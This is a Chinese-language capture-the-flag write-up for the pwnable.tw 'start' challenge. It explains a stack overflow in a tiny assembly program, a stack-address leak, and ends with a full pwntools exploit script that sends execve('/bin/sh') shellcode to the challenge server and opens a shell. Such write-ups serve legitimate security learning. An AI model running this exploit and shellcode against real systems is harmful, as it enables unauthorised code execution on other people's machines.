pwnable-tw

听说有了新的题目pwnable.tw,这里记录一下解题过程。

1、start [100pts]

执行以后发现是个读入的函数,然后发现如下:

正所谓所有会segmentation fault的程序都可以注入,看出来这里就是一个简单的pwn的位置啦,打开源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
08048060 <_start>:
8048060: 54 push %esp
8048061: 68 9d 80 04 08 push $0x804809d
8048066: 31 c0 xor %eax,%eax
8048068: 31 db xor %ebx,%ebx
804806a: 31 c9 xor %ecx,%ecx
804806c: 31 d2 xor %edx,%edx
804806e: 68 43 54 46 3a push $0x3a465443
8048073: 68 74 68 65 20 push $0x20656874
8048078: 68 61 72 74 20 push $0x20747261
804807d: 68 73 20 73 74 push $0x74732073
8048082: 68 4c 65 74 27 push $0x2774654c
8048087: 89 e1 mov %esp,%ecx
8048089: b2 14 mov $0x14,%dl
804808b: b3 01 mov $0x1,%bl
804808d: b0 04 mov $0x4,%al
804808f: cd 80 int $0x80
8048091: 31 db xor %ebx,%ebx
8048093: b2 3c mov $0x3c,%dl
8048095: b0 03 mov $0x3,%al
8048097: cd 80 int $0x80
8048099: 83 c4 14 add $0x14,%esp
804809c: c3 ret

0804809d <_exit>:
804809d: 5c pop %esp
804809e: 31 c0 xor %eax,%eax
80480a0: 40 inc %eax
80480a1: cd 80 int $0x80

发现非常简单?甚至连main都没有,看起来就是个简单的汇编程序。这里发现在如下位置:

1
2
3
4
5
6
7
8
9
8048087:       89 e1                   mov    %esp,%ecx
8048089: b2 14 mov $0x14,%dl
804808b: b3 01 mov $0x1,%bl
804808d: b0 04 mov $0x4,%al
804808f: cd 80 int $0x80;系统调用, sys_write
8048091: 31 db xor %ebx,%ebx
8048093: b2 3c mov $0x3c,%dl
8048095: b0 03 mov $0x3,%al
8048097: cd 80 int $0x80;系统调用, sys_read

进行了系统调用sys_write和sys_read,这里可以看出,寄存器的作用分别如下

寄存器 作用
eax 中断类型号
ebx(bl) stdout
ecx 输出字符串地址
edx 输出字符串长度

然后发现,%ebx的值清0了,那么此时相当于变为了stdin,并且将0x3c(60)赋值给了%edx,也就是说,此时使用的【依然是原先的esp】,也就是说这里【可以读入60个字符,而实际上栈里面却只有20的长度】,那么只要构造20个padding,加上函数的返回值就可以轻易的修改。
然而要如何修改呢。。。突然就不会了。。
于是乎只好依靠一下pwntools了,在使用过程中发现如下:

这里居然没有打开nx?!那就是说可以进行shellcode攻击了。虽然开始的时候想要使用pwntools生成,但是好像失败了。。后来从网上找了一段shellcode:
“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69”
“\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80”
然后发现远没有自己想的那么简单,由于栈随机化(ASLR)的原因,导致这个栈的地址是不固定的,所以此时跳转的位置需要泄漏出来。。
观察到代码

1
2
3
08048060 <_start>:
8048060: 54 push %esp
8048061: 68 9d 80 04 08 push $0x804809d

一开始就将esp的值压到了栈中,所以此时要是能够想办法将栈中的数据打印就好了,然后可以知道

1
2
3
8048097:       cd 80                   int    $0x80
8048099: 83 c4 14 add $0x14,%esp
804809c: c3 ret

这个函数在最后退栈了,也就是栈原先内容为

退栈后的内容变为:

也就是说,此时让其跳转会到sys_write执行的位置,我们就能够泄漏的到esp的内容,然后利用相对位置,将esp的值进行调整,便能够跳转到指定的位置。由于我们写入的位置为ecx确定的
然而又发现,shellcode几乎都会对栈产生一定的影响,也就是说此时的esp还必须移动到一个对栈中内容无影响的位置上。

最初的样子
然后在完成输出以后变成

在进行了返回值返回后变成

所以假如此时直接跳转到

1
2
3
4
5
6
7
8
9
10
11
8048087:       89 e1                   mov    %esp,%ecx
8048089: b2 14 mov $0x14,%dl
804808b: b3 01 mov $0x1,%bl
804808d: b0 04 mov $0x4,%al
804808f: cd 80 int $0x80
8048091: 31 db xor %ebx,%ebx
8048093: b2 3c mov $0x3c,%dl
8048095: b0 03 mov $0x3,%al
8048097: cd 80 int $0x80
8048099: 83 c4 14 add $0x14,%esp
804809c: c3 ret

那么此时就会将esp中的值输出来,如果我们从这个位置继续输入的话,那么理论上要构造成这个样子

那么此时完成输出后会变成这样

所以如果我们把0x90替换成我们的shellcode,就能够完成攻击。
发现较短的shellcode都是先不到目的功能,必须伴随的提权,而提权+攻击的代码至少要21byte

1
2
3
\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80
或者
\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80

所以这里还要换思路。。。。观察代码得到

1
2
3
4
5
6
7
8
9
8048087:       89 e1                   mov    %esp,%ecx
8048089: b2 14 mov $0x14,%dl
804808b: b3 01 mov $0x1,%bl
804808d: b0 04 mov $0x4,%al
804808f: cd 80 int $0x80;系统调用, sys_write
8048091: 31 db xor %ebx,%ebx
8048093: b2 3c mov $0x3c,%dl
8048095: b0 03 mov $0x3,%al
8048097: cd 80 int $0x80;系统调用, sys_read

此时的ecx的赋值只发生了一次,相当于如果第一次ret的时候不去干涉这个值和dl,那么此时的输出字符串长度【就为后来设置的0x3c,并且此时指向的依然为原先的字符串位置】也就是说,这一次我们的esp泄露是发生在4*6 = 24个字节之后,并且一旦泄漏之后,我们的空间将会变得非常大!此时再插入shellcode即可

这次要写入的内容总长度为542 + 4
最后。。。成功了!

附上解题代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#   -*- coding:utf-8 -*-
#!usr/bing.env python

from pwn import *

DEBUG = 0
if DEBUG:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
ph = process('./start')
# gdb.attach(ph,execute = 'b *0x08048060')
gdb.attach(ph)
else:
# ph = process('./start')
ph = remote('139.162.123.119', 10000)


length = 44
address = '\x8b\x80\x04\x08'
shellcode = "\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80"
def transUni(char):
return hex(ord(char))[2:]

if __name__ == "__main__":

print ph.recvuntil(':')
ph.send('\x90'*20 + address)
data = ph.recv(0x3c)
print "address is 0x" + ''.join(list(map(transUni,data[24:28])))
stack_addr = data[24:28]
stack_addr = p32(u32(stack_addr) - 7*4)
print "now stack_addr is 0x" + ''.join(list(map(transUni,stack_addr)))
ph.send(shellcode + (length - len(shellcode))*'\x90' + stack_addr)
ph.interactive();

(菜鸡也算是走出了第一步了。。终于也是自己做了一题栈溢出)
话说要是以后需要用到动态链接库的时候,可以再从这道题目入手